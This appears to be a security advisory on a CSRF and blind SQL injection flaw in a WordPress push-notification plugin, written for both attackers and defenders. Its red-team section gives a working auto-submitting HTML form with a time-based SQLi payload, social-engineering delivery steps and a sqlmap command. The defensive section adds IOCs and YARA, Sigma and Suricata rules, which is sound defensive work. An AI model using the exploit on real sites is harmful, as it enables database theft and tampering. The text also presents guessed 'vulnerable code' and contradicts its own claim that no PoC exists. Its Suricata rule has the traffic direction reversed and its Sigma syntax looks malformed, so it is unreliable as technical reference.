CVE-2025-32547

Executive Summary

CVE-2025-32547 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin All push notification for WP (all-push-notification) by vendor gtlwpdev. The vulnerability allows an unauthenticated attacker to trick a logged-in administrator into performing unintended actions, specifically enabling Blind SQL Injection through forged requests. This can lead to unauthorized data extraction, modification, or deletion of the WordPress database. The plugin is part of the WordPress ecosystem and is not related to Apache or Nginx.

The CVSS v3.1 score is 8.2 (High), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The attack vector is network-based, requires low complexity, no privileges, but user interaction (clicking a link) is required. The impact is high on confidentiality, integrity, and availability.

No public proof-of-concept (PoC) or exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation probability in the wild. No patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or via direct download are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. Supply chain risk is moderate due to the lack of a patch and the plugin's integration into WordPress sites.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and impacted component are the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Service disruption possible.

Threat Level: High. The combination of CSRF and Blind SQL Injection allows an attacker to perform administrative actions without authentication, leading to complete database compromise.

Deep Dive & Mechanics

The vulnerability resides in the all-push-notification plugin, version <= 1.5.3. The plugin fails to implement proper CSRF tokens on sensitive administrative actions, such as database queries or settings modifications. An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the plugin's admin-ajax.php or admin-post.php endpoints.

The Blind SQL Injection occurs because the plugin does not sanitize or parameterize user-supplied input in SQL queries executed via these CSRF-vulnerable endpoints. The attacker can inject SQL commands through parameters like id, action, or custom fields. Since the injection is blind, the attacker must infer database contents based on response timing or boolean-based responses.

Attack Flow:

1. Attacker identifies a WordPress site running the vulnerable plugin.
2. Attacker crafts a CSRF payload (e.g., an HTML form auto-submitting to wp-admin/admin-ajax.php?action=push_notification&id=1' AND (SELECT SLEEP(5))-- -).
3. Attacker hosts the payload on a malicious site or sends it via email.
4. An authenticated WordPress admin visits the malicious page.
5. The admin's browser sends the forged request with the admin's cookies.
6. The plugin executes the SQL injection, allowing the attacker to extract data (e.g., admin hashes, user emails) via time-based or boolean-based techniques.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.5.3): The plugin likely uses $_REQUEST or $_GET directly in SQL queries without nonce verification. Example:

add_action('wp_ajax_push_notification', 'handle_push_notification');
function handle_push_notification() {
    global $wpdb;
    $id = $_REQUEST['id'];
    $wpdb->query("SELECT * FROM {$wpdb->prefix}push_notifications WHERE id = $id");
}

No CSRF nonce check is performed.

Patched Code (Hypothetical): A patch would add nonce verification and parameterized queries:

add_action('wp_ajax_push_notification', 'handle_push_notification');
function handle_push_notification() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'push_notification_nonce')) {
        wp_die('CSRF validation failed.');
    }
    global $wpdb;
    $id = intval($_REQUEST['id']);
    $wpdb->query($wpdb->prepare("SELECT * FROM {$wpdb->prefix}push_notifications WHERE id = %d", $id));
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin installed and an admin user logged in.
• A web server to host the CSRF payload.

Step 1: Craft CSRF Payload Create an HTML file (csrf_exploit.html) that auto-submits a form to the vulnerable endpoint:

<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-ajax.php" method="GET">
  <input type="hidden" name="action" value="push_notification">
  <input type="hidden" name="id" value="1' AND (SELECT SLEEP(5))-- -">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Step 2: Host and Deliver Host the file on your attacker server and send the link to the admin (e.g., via email or social engineering).

Step 3: Exploit Blind SQL Injection Use a tool like sqlmap to automate extraction:

sqlmap -u "http://target-site.com/wp-admin/admin-ajax.php?action=push_notification&id=1" --csrf-token="X-CSRF-Token" --batch --dbs

Note: Since CSRF is involved, you may need to capture a valid session cookie first.

Blue Team

Detection:

• Monitor for unusual admin-ajax.php requests with parameters like id, action, or push_notification from external referrers.
• Look for SQL injection patterns in request parameters (e.g., SLEEP, BENCHMARK, UNION).
• Alert on multiple failed login attempts or unusual admin actions.

Honeypot: Deploy a fake WordPress admin user and monitor for CSRF-like requests to the plugin's endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=push_notification and suspicious id parameters.
  • Referer headers from external domains (e.g., attacker-controlled sites).
  • Unusual SQL error messages in server logs (e.g., "You have an error in your SQL syntax").

• Host IOCs:

  • Presence of the plugin all-push-notification version <= 1.5.3 in /wp-content/plugins/all-push-notification/.
  • Modified database entries in wp_push_notifications table.
  • Unexpected admin user creation or privilege escalation.

• File IOCs:

  • Suspicious files in /wp-content/uploads/ or /tmp/ (e.g., webshells).
  • Modified plugin files (e.g., all-push-notification.php).

Detection Engineering

YARA Rule

rule CVE_2025_32547_CSRF_SQLi {
    meta:
        description = "Detects CSRF-based Blind SQL Injection attempts against All push notification for WP plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-32547"
    strings:
        $s1 = "action=push_notification" ascii wide nocase
        $s2 = "id=" ascii wide nocase
        $s3 = "SLEEP" ascii wide nocase
        $s4 = "BENCHMARK" ascii wide nocase
        $s5 = "UNION" ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-32547 CSRF Blind SQL Injection Detection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the All push notification for WP plugin with SQL injection patterns
author: Valters IT
date: 2025/04/17
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32547
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'action=push_notification'
            - 'id='
        cs-uri-query|contains|any:
            - 'SLEEP'
            - 'BENCHMARK'
            - 'UNION'
    condition: selection
falsepositives:
    - Legitimate plugin usage with non-malicious parameters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-32547 - CSRF Blind SQL Injection in All push notification for WP";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=push_notification"; http_uri;
    content:"id="; http_uri;
    pcre:"/(SLEEP|BENCHMARK|UNION)/Ui";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-32547;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. Navigate to WordPress Admin > Plugins > Deactivate "All push notification for WP".
2. Implement Web Application Firewall (WAF) rules to block SQL injection patterns and CSRF-like requests.
3. Enforce CSRF tokens on all admin actions via custom code or security plugins (e.g., Wordfence, Sucuri).

Long-term Fix:

• Monitor the plugin's official page for updates. If no patch is provided, consider replacing the plugin with an alternative.
• Apply the principle of least privilege: restrict admin user sessions and use separate admin accounts for sensitive actions.

Workaround:

• Add a custom nonce check to the plugin's code (if you have developer access) or use a security plugin that adds CSRF protection to all admin-ajax.php calls.

Valters IT